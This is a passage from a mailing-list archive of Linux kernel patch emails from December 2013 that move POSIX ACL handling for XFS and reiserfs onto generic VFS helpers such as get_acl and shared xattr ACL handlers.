(unlikely(error)) + error = xfs_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + if (error) + goto out_cleanup_inode; + } + if (acl) { + error = xfs_set_acl(inode, acl, ACL_TYPE_ACCESS); + if (error) goto out_cleanup_inode; } - d_instantiate(dentry, inode); + out_free_acl: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); return -error; out_cleanup_inode: xfs_cleanup_inode(dir, inode, dentry); - out_free_acl: - posix_acl_release(default_acl); - return -error; + goto out_free_acl; } STATIC int @@ -683,7 +684,7 @@ xfs_setattr_nonsize( * Posix ACL code seems to care about this issue either. */ if ((mask & ATTR_MODE) && !(flags & XFS_ATTR_NOACL)) { - error = -xfs_acl_chmod(inode); + error = -posix_acl_chmod(inode, inode->i_mode); if (error) return XFS_ERROR(error); } @@ -1052,6 +1053,7 @@ xfs_vn_fiemap( static const struct inode_operations xfs_inode_operations = { .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1079,6 +1081,7 @@ static const struct inode_operations xfs_dir_inode_operations = { .mknod = xfs_vn_mknod, .rename = xfs_vn_rename, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1105,6 +1108,7 @@ static const struct inode_operations xfs_dir_ci_inode_operations = { .mknod = xfs_vn_mknod, .rename = xfs_vn_rename, .get_acl = xfs_get_acl, + .set_acl = xfs_set_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, @@ -1118,7 +1122,6 @@ static const struct inode_operations xfs_symlink_inode_operations = { .readlink = generic_readlink, .follow_link = xfs_vn_follow_link, .put_link = xfs_vn_put_link, - .get_acl = xfs_get_acl, .getattr = xfs_vn_getattr, .setattr = xfs_vn_setattr, .setxattr = generic_setxattr, diff --git a/fs/xfs/xfs_iops.h b/fs/xfs/xfs_iops.h index d2c5057..1c34e43 100644 --- a/fs/xfs/xfs_iops.h +++ b/fs/xfs/xfs_iops.h @@ -30,7 +30,7 @@ extern void xfs_setup_inode(struct xfs_inode *); /* * Internal setattr interfaces. */ -#define XFS_ATTR_NOACL 0x01 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_NOACL 0x01 /* Don't call posix_acl_chmod */ extern int xfs_setattr_nonsize(struct xfs_inode *ip, struct iattr *vap, int flags); diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index 9d47907..78ed92a 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -102,8 +102,8 @@ const struct xattr_handler *xfs_xattr_handlers[] = { &xfs_xattr_trusted_handler, &xfs_xattr_security_handler, #ifdef CONFIG_XFS_POSIX_ACL - &xfs_xattr_acl_access_handler, - &xfs_xattr_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A68E029E1A for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 45A90AC00C for ; Fri, 20 Dec 2013 05:25:32 -0800 (PST) X-ASG-Debug-ID: 1387545930-04cbb04168864430001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 2QpAuX4nVuSnssH5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04v-0003DG-K9; Fri, 20 Dec 2013 13:25:21 +0000 Message-Id: <20131220132521.505028482@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:38 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 03/21] fs: add get_acl helper References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 03/21] fs: add get_acl helper Content-Disposition: inline; filename=0003-fs-add-get_acl-helper.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387545930 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Factor out the code to get an ACL either from the inode or disk from check_acl, so that it can be used elsewhere later on. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/namei.c | 24 +++--------------------- fs/posix_acl.c | 26 ++++++++++++++++++++++++++ include/linux/posix_acl.h | 2 ++ 3 files changed, 31 insertions(+), 21 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 3531dee..bcb838e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -235,27 +235,9 @@ static int check_acl(struct inode *inode, int mask) return posix_acl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); } - acl = get_cached_acl(inode, ACL_TYPE_ACCESS); - - /* - * A filesystem can force a ACL callback by just never filling the - * ACL cache. But normally you'd fill the cache either at inode - * instantiation time, or on the first ->get_acl call. - * - * If the filesystem doesn't have a get_acl() function at all, we'll - * just create the negative cache entry. - */ - if (acl == ACL_NOT_CACHED) { - if (inode->i_op->get_acl) { - acl = inode->i_op->get_acl(inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } else { - set_cached_acl(inode, ACL_TYPE_ACCESS, NULL); - return -EAGAIN; - } - } - + acl = get_acl(inode, ACL_TYPE_ACCESS); + if (IS_ERR(acl)) + return PTR_ERR(acl); if (acl) { int error = posix_acl_permission(inode, acl, mask); posix_acl_release(acl); diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 359d70b..e329c21 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -26,6 +26,32 @@ EXPORT_SYMBOL(posix_acl_valid); EXPORT_SYMBOL(posix_acl_equiv_mode); EXPORT_SYMBOL(posix_acl_from_mode); +struct posix_acl *get_acl(struct inode *inode, int type) +{ + struct posix_acl *acl; + + acl = get_cached_acl(inode, type); + if (acl != ACL_NOT_CACHED) + return acl; + + if (!IS_POSIXACL(inode)) + return NULL; + + /* + * A filesystem can force a ACL callback by just never filling the + * ACL cache. But normally you'd fill the cache either at inode + * instantiation time, or on the first ->get_acl call. + * + * If the filesystem doesn't have a get_acl() function at all, we'll + * just create the negative cache entry. + */ + if (!inode->i_op->get_acl) { + set_cached_acl(inode, type, NULL); + return NULL; + } + return inode->i_op->get_acl(inode, type); +} + /* * Init a fresh posix_acl */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 7931efe..a8d9918 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -175,4 +175,6 @@ static inline void cache_no_acl(struct inode *inode) #endif } +struct posix_acl *get_acl(struct inode *inode, int type); + #endif /* __LINUX_POSIX_ACL_H */ -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9519929E10 for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 51DCBAC010 for ; Fri, 20 Dec 2013 05:25:32 -0800 (PST) X-ASG-Debug-ID: 1387545931-04bdf00fde149300001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id KXkiRuMr9oVUJ5LH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:31 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04v-0003EM-VZ; Fri, 20 Dec 2013 13:25:22 +0000 Message-Id: <20131220132521.857886904@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:40 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 05/21] fs: add generic xattr_acl handlers References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 05/21] fs: add generic xattr_acl handlers Content-Disposition: inline; filename=0005-fs-add-generic-xattr_acl-handlers.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545931 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 2.00 BSF_SC0_MV0249 Custom rule MV0249 With the ->set_acl inode operation we can implement the Posix ACL xattr handlers in generic code instead of duplicating them all over the tree. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/posix_acl.c | 102 +++++++++++++++++++++++++++++++++++++++ include/linux/posix_acl_xattr.h | 3 ++ 2 files changed, 105 insertions(+) diff --git a/fs/posix_acl.c b/fs/posix_acl.c index e329c21..3c0f659 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -17,6 +17,7 @@ #include #include #include +#include #include #include @@ -610,3 +611,104 @@ posix_acl_to_xattr(struct user_namespace *user_ns, const struct posix_acl *acl, return real_size; } EXPORT_SYMBOL (posix_acl_to_xattr); + +static int +posix_acl_xattr_get(struct dentry *dentry, const char *name, + void *value, size_t size, int type) +{ + struct posix_acl *acl; + int error; + + if (!IS_POSIXACL(dentry->d_inode)) + return -EOPNOTSUPP; + if (S_ISLNK(dentry->d_inode->i_mode)) + return -EOPNOTSUPP; + + acl = get_acl(dentry->d_inode, type); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + + error = posix_acl_to_xattr(&init_user_ns, acl, value, size); + posix_acl_release(acl); + + return error; +} + +static int +posix_acl_xattr_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int type) +{ + struct inode *inode = dentry->d_inode; + struct posix_acl *acl = NULL; + int ret; + + if (!IS_POSIXACL(inode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_acl) + return -EOPNOTSUPP; + + if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) + return value ? -EACCES : 0; + if (!inode_owner_or_capable(inode)) + return -EPERM; + + if (value) { + acl = posix_acl_from_xattr(&init_user_ns, value, size); + if (IS_ERR(acl)) + return PTR_ERR(acl); + + if (acl) { + ret = posix_acl_valid(acl); + if (ret) + goto out; + } + } + + ret = inode->i_op->set_acl(inode, acl, type); +out: + posix_acl_release(acl); + return ret; +} + +static size_t +posix_acl_xattr_list(struct dentry *dentry, char *list, size_t list_size, + const char *name, size_t name_len, int type) +{ + const char *xname; + size_t size; + + if (!IS_POSIXACL(dentry->d_inode)) + return -EOPNOTSUPP; + if (S_ISLNK(dentry->d_inode->i_mode)) + return -EOPNOTSUPP; + + if (type == ACL_TYPE_ACCESS) + xname = POSIX_ACL_XATTR_ACCESS; + else + xname = POSIX_ACL_XATTR_DEFAULT; + + size = strlen(xname) + 1; + if (list && size <= list_size) + memcpy(list, xname, size); + return size; +} + +const struct xattr_handler posix_acl_access_xattr_handler = { + .prefix = POSIX_ACL_XATTR_ACCESS, + .flags = ACL_TYPE_ACCESS, + .list = posix_acl_xattr_list, + .get = posix_acl_xattr_get, + .set = posix_acl_xattr_set, +}; +EXPORT_SYMBOL_GPL(posix_acl_access_xattr_handler); + +const struct xattr_handler posix_acl_default_xattr_handler = { + .prefix = POSIX_ACL_XATTR_DEFAULT, + .flags = ACL_TYPE_DEFAULT, + .list = posix_acl_xattr_list, + .get = posix_acl_xattr_get, + .set = posix_acl_xattr_set, +}; +EXPORT_SYMBOL_GPL(posix_acl_default_xattr_handler); diff --git a/include/linux/posix_acl_xattr.h b/include/linux/posix_acl_xattr.h index ad93ad0..6f14ee2 100644 --- a/include/linux/posix_acl_xattr.h +++ b/include/linux/posix_acl_xattr.h @@ -69,4 +69,7 @@ struct posix_acl *posix_acl_from_xattr(struct user_namespace *user_ns, int posix_acl_to_xattr(struct user_namespace *user_ns, const struct posix_acl *acl, void *buffer, size_t size); +extern const struct xattr_handler posix_acl_access_xattr_handler; +extern const struct xattr_handler posix_acl_default_xattr_handler; + #endif /* _POSIX_ACL_XATTR_H */ -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0DCC29E1B for ; Fri, 20 Dec 2013 07:25:35 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CC5F28F807A for ; Fri, 20 Dec 2013 05:25:35 -0800 (PST) X-ASG-Debug-ID: 1387545934-04cb6c537d86c390001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id gwLTnHfDFMQNbHol (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:34 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04x-0003Jt-Na; Fri, 20 Dec 2013 13:25:23 +0000 Message-Id: <20131220132523.607012323@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:49 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher , Jan Kara Subject: [PATCH 14/21] reiserfs: use generic posix ACL infrastructure References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 14/21] reiserfs: use generic posix ACL infrastructure Content-Disposition: inline; filename=0014-reiserfs-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545934 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Also don't bother to set up a .get_acl method for symlinks as we do not support access control (ACLs or even mode bits) for symlinks in Linux. Signed-off-by: Christoph Hellwig Reviewed-by: Jan Kara --- fs/reiserfs/acl.h | 4 +- fs/reiserfs/file.c | 1 + fs/reiserfs/namei.c | 4 +- fs/reiserfs/xattr.c | 5 +- fs/reiserfs/xattr_acl.c | 182 +++++++---------------------------------------- 5 files changed, 35 insertions(+), 161 deletions(-) diff --git a/fs/reiserfs/acl.h b/fs/reiserfs/acl.h index f096b80..4a211f5 100644 --- a/fs/reiserfs/acl.h +++ b/fs/reiserfs/acl.h @@ -48,18 +48,18 @@ static inline int reiserfs_acl_count(size_t size) #ifdef CONFIG_REISERFS_FS_POSIX_ACL struct posix_acl *reiserfs_get_acl(struct inode *inode, int type); +int reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type); int reiserfs_acl_chmod(struct inode *inode); int reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, struct inode *dir, struct dentry *dentry, struct inode *inode); int reiserfs_cache_default_acl(struct inode *dir); -extern const struct xattr_handler reiserfs_posix_acl_default_handler; -extern const struct xattr_handler reiserfs_posix_acl_access_handler; #else #define reiserfs_cache_default_acl(inode) 0 #define reiserfs_get_acl NULL +#define reiserfs_set_acl NULL static inline int reiserfs_acl_chmod(struct inode *inode) { diff --git a/fs/reiserfs/file.c b/fs/reiserfs/file.c index dcaafcf..ed58d84 100644 --- a/fs/reiserfs/file.c +++ b/fs/reiserfs/file.c @@ -260,4 +260,5 @@ const struct inode_operations reiserfs_file_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; diff --git a/fs/reiserfs/namei.c b/fs/reiserfs/namei.c index dc5236f..e825f8b 100644 --- a/fs/reiserfs/namei.c +++ b/fs/reiserfs/namei.c @@ -1522,6 +1522,7 @@ const struct inode_operations reiserfs_dir_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; /* @@ -1538,8 +1539,6 @@ const struct inode_operations reiserfs_symlink_inode_operations = { .listxattr = reiserfs_listxattr, .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, - .get_acl = reiserfs_get_acl, - }; /* @@ -1553,4 +1552,5 @@ const struct inode_operations reiserfs_special_inode_operations = { .removexattr = reiserfs_removexattr, .permission = reiserfs_permission, .get_acl = reiserfs_get_acl, + .set_acl = reiserfs_set_acl, }; diff --git a/fs/reiserfs/xattr.c b/fs/reiserfs/xattr.c index 8a9e2dc..5cdfbd6 100644 --- a/fs/reiserfs/xattr.c +++ b/fs/reiserfs/xattr.c @@ -50,6 +50,7 @@ #include #include #include +#include #define PRIVROOT_NAME ".reiserfs_priv" #define XAROOT_NAME "xattrs" @@ -904,8 +905,8 @@ static const struct xattr_handler *reiserfs_xattr_handlers[] = { &reiserfs_xattr_security_handler, #endif #ifdef CONFIG_REISERFS_FS_POSIX_ACL - &reiserfs_posix_acl_access_handler, - &reiserfs_posix_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; diff --git a/fs/reiserfs/xattr_acl.c b/fs/reiserfs/xattr_acl.c index d95c959..a6ce532 100644 --- a/fs/reiserfs/xattr_acl.c +++ b/fs/reiserfs/xattr_acl.c @@ -11,35 +11,19 @@ #include "acl.h" #include -static int reiserfs_set_acl(struct reiserfs_transaction_handle *th, +static int __reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, int type, struct posix_acl *acl); -static int -reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) + +int +reiserfs_set_acl(struct inode *inode, struct posix_acl *acl, int type) { - struct inode *inode = dentry->d_inode; - struct posix_acl *acl; int error, error2; struct reiserfs_transaction_handle th; size_t jcreate_blocks; - if (!reiserfs_posixacl(inode->i_sb)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) { - return PTR_ERR(acl); - } else if (acl) { - error = posix_acl_valid(acl); - if (error) - goto release_and_out; - } - } else - acl = NULL; + int size = acl ? posix_acl_xattr_size(acl->a_count) : 0; + /* Pessimism: We can't assume that anything from the xattr root up * has been created. */ @@ -51,7 +35,7 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu error = journal_begin(&th, inode->i_sb, jcreate_blocks); reiserfs_write_unlock(inode->i_sb); if (error == 0) { - error = reiserfs_set_acl(&th, inode, type, acl); + error = __reiserfs_set_acl(&th, inode, type, acl); reiserfs_write_lock(inode->i_sb); error2 = journal_end(&th, inode->i_sb, jcreate_blocks); reiserfs_write_unlock(inode->i_sb); @@ -59,29 +43,6 @@ reiserfs_posix_acl_set(struct dentry *dentry, const char *name, const void *valu error = error2; } - release_and_out: - posix_acl_release(acl); - return error; -} - -static int -reiserfs_posix_acl_get(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (!reiserfs_posixacl(dentry->d_sb)) - return -EOPNOTSUPP; - - acl = reiserfs_get_acl(dentry->d_inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - return error; } @@ -221,10 +182,6 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) int size; int retval; - acl = get_cached_acl(inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - switch (type) { case ACL_TYPE_ACCESS: name = POSIX_ACL_XATTR_ACCESS; @@ -273,7 +230,7 @@ struct posix_acl *reiserfs_get_acl(struct inode *inode, int type) * BKL held [before 2.5.x] */ static int -reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, +__reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, int type, struct posix_acl *acl) { char *name; @@ -281,9 +238,6 @@ reiserfs_set_acl(struct reiserfs_transaction_handle *th, struct inode *inode, size_t size = 0; int error; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - switch (type) { case ACL_TYPE_ACCESS: name = POSIX_ACL_XATTR_ACCESS; @@ -343,7 +297,7 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, struct inode *dir, struct dentry *dentry, struct inode *inode) { - struct posix_acl *acl; + struct posix_acl *default_acl, *acl; int err = 0; /* ACLs only get applied to files and directories */ @@ -363,37 +317,28 @@ reiserfs_inherit_default_acl(struct reiserfs_transaction_handle *th, goto apply_umask; } - acl = reiserfs_get_acl(dir, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); + err = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (err) + return err; + if (default_acl) { + err = __reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, + default_acl); + posix_acl_release(default_acl); + } if (acl) { - /* Copy the default ACL to the default ACL of a new directory */ - if (S_ISDIR(inode->i_mode)) { - err = reiserfs_set_acl(th, inode, ACL_TYPE_DEFAULT, - acl); - if (err) - goto cleanup; - } - - /* Now we reconcile the new ACL and the mode, - potentially modifying both */ - err = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); - if (err < 0) - return err; - - /* If we need an ACL.. */ - if (err > 0) - err = reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, acl); - cleanup: + if (!err) + err = __reiserfs_set_acl(th, inode, ACL_TYPE_ACCESS, + acl); posix_acl_release(acl); - } else { - apply_umask: - /* no ACL, apply umask */ - inode->i_mode &= ~current_umask(); } return err; + + apply_umask: + /* no ACL, apply umask */ + inode->i_mode &= ~current_umask(); + return err; } /* This is used to cache the default acl before a new object is created. @@ -442,84 +387,11 @@ int reiserfs_cache_default_acl(struct inode *inode) */ int reiserfs_acl_chmod(struct inode *inode) { - struct reiserfs_transaction_handle th; - struct posix_acl *acl; - size_t size; - int error; - if (IS_PRIVATE(inode)) return 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (get_inode_sd_version(inode) == STAT_DATA_V1 || - !reiserfs_posixacl(inode->i_sb)) { + !reiserfs_posixacl(inode->i_sb)) return 0; - } - acl = reiserfs_get_acl(inode, ACL_TYPE_ACCESS); - if (!acl) - return 0; - if (IS_ERR(acl)) - return PTR_ERR(acl); - error = __posix_acl_chmod(&acl, GFP_NOFS, inode->i_mode); - if (error) - return error; - - size = reiserfs_xattr_nblocks(inode, reiserfs_acl_size(acl->a_count)); - reiserfs_write_lock(inode->i_sb); - error = journal_begin(&th, inode->i_sb, size * 2); - reiserfs_write_unlock(inode->i_sb); - if (!error) { - int error2; - error = reiserfs_set_acl(&th, inode, ACL_TYPE_ACCESS, acl); - reiserfs_write_lock(inode->i_sb); - error2 = journal_end(&th, inode->i_sb, size * 2); - reiserfs_write_unlock(inode->i_sb); - if (error2) - error = error2; - } - posix_acl_release(acl); - return error; -} - -static size_t posix_acl_access_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, - size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); - if (!reiserfs_posixacl(dentry->d_sb)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); - return size; + return posix_acl_chmod(inode, inode->i_mode); } - -const struct xattr_handler reiserfs_posix_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .get = reiserfs_posix_acl_get, - .set = reiserfs_posix_acl_set, - .list = posix_acl_access_list, -}; - -static size_t posix_acl_default_list(struct dentry *dentry, char *list, - size_t list_size, const char *name, - size_t name_len, int type) -{ - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); - if (!reiserfs_posixacl(dentry->d_sb)) - return 0; - if (list && size <= list_size) - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); - return size; -} - -const struct xattr_handler reiserfs_posix_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .get = reiserfs_posix_acl_get, - .set = reiserfs_posix_acl_set, - .list = posix_acl_default_list, -}; -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 